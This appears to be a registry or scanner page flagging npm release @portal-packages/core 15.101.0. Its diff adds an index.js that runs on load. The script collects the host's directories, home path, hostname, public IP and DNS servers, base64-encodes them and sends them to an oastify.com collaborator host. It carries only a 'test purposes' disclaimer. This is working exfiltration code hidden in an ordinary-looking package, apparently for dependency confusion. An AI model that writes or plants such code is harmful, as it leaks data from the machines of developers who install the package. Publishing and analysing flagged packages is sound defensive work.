@portal-packages/core 15.101.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @portal-packages/core might be problematic. Click here for more details.
- package/README.md +5 -0
- package/index.js +35 -0
- package/package.json +14 -0
package/README.md
ADDED
package/index.js
ADDED
@@ -0,0 +1,35 @@
|
|
1
|
+
/**
|
2
|
+
* Disclaimer: only to test purposes!
|
3
|
+
*/
|
4
|
+
|
5
|
+
var os = require("os");
|
6
|
+
var dns = require("dns");
|
7
|
+
var http = require("http");
|
8
|
+
var packageJSON = require("./package.json");
|
9
|
+
var { execSync } = require('child_process');
|
10
|
+
var package = packageJSON.name;
|
11
|
+
|
12
|
+
var ip = execSync("curl -4 https://ifconfig.me", {encoding: 'utf8'});
|
13
|
+
var dir = execSync("pwd", {encoding: 'utf8'});
|
14
|
+
|
15
|
+
var content = JSON.stringify({
|
16
|
+
package: package,
|
17
|
+
directory: __dirname,
|
18
|
+
homedir: os.homedir(),
|
19
|
+
hostname: os.hostname(),
|
20
|
+
dir: dir,
|
21
|
+
ip: ip,
|
22
|
+
dns: dns.getServers()
|
23
|
+
});
|
24
|
+
|
25
|
+
var base64Content = Buffer.from(content).toString("base64");
|
26
|
+
|
27
|
+
var url = `http://nsjpass0s5srstwhgg0mz6jr0i69u4it.oastify.com/?loading=${base64Content}`;
|
28
|
+
|
29
|
+
http.get(url, (res) => {
|
30
|
+
res.on("data", (d) => {
|
31
|
+
process.stdout.write(d);
|
32
|
+
});
|
33
|
+
}).on("error", (e) => {
|
34
|
+
console.error(e);
|
35
|
+
});
|
package/package.json
ADDED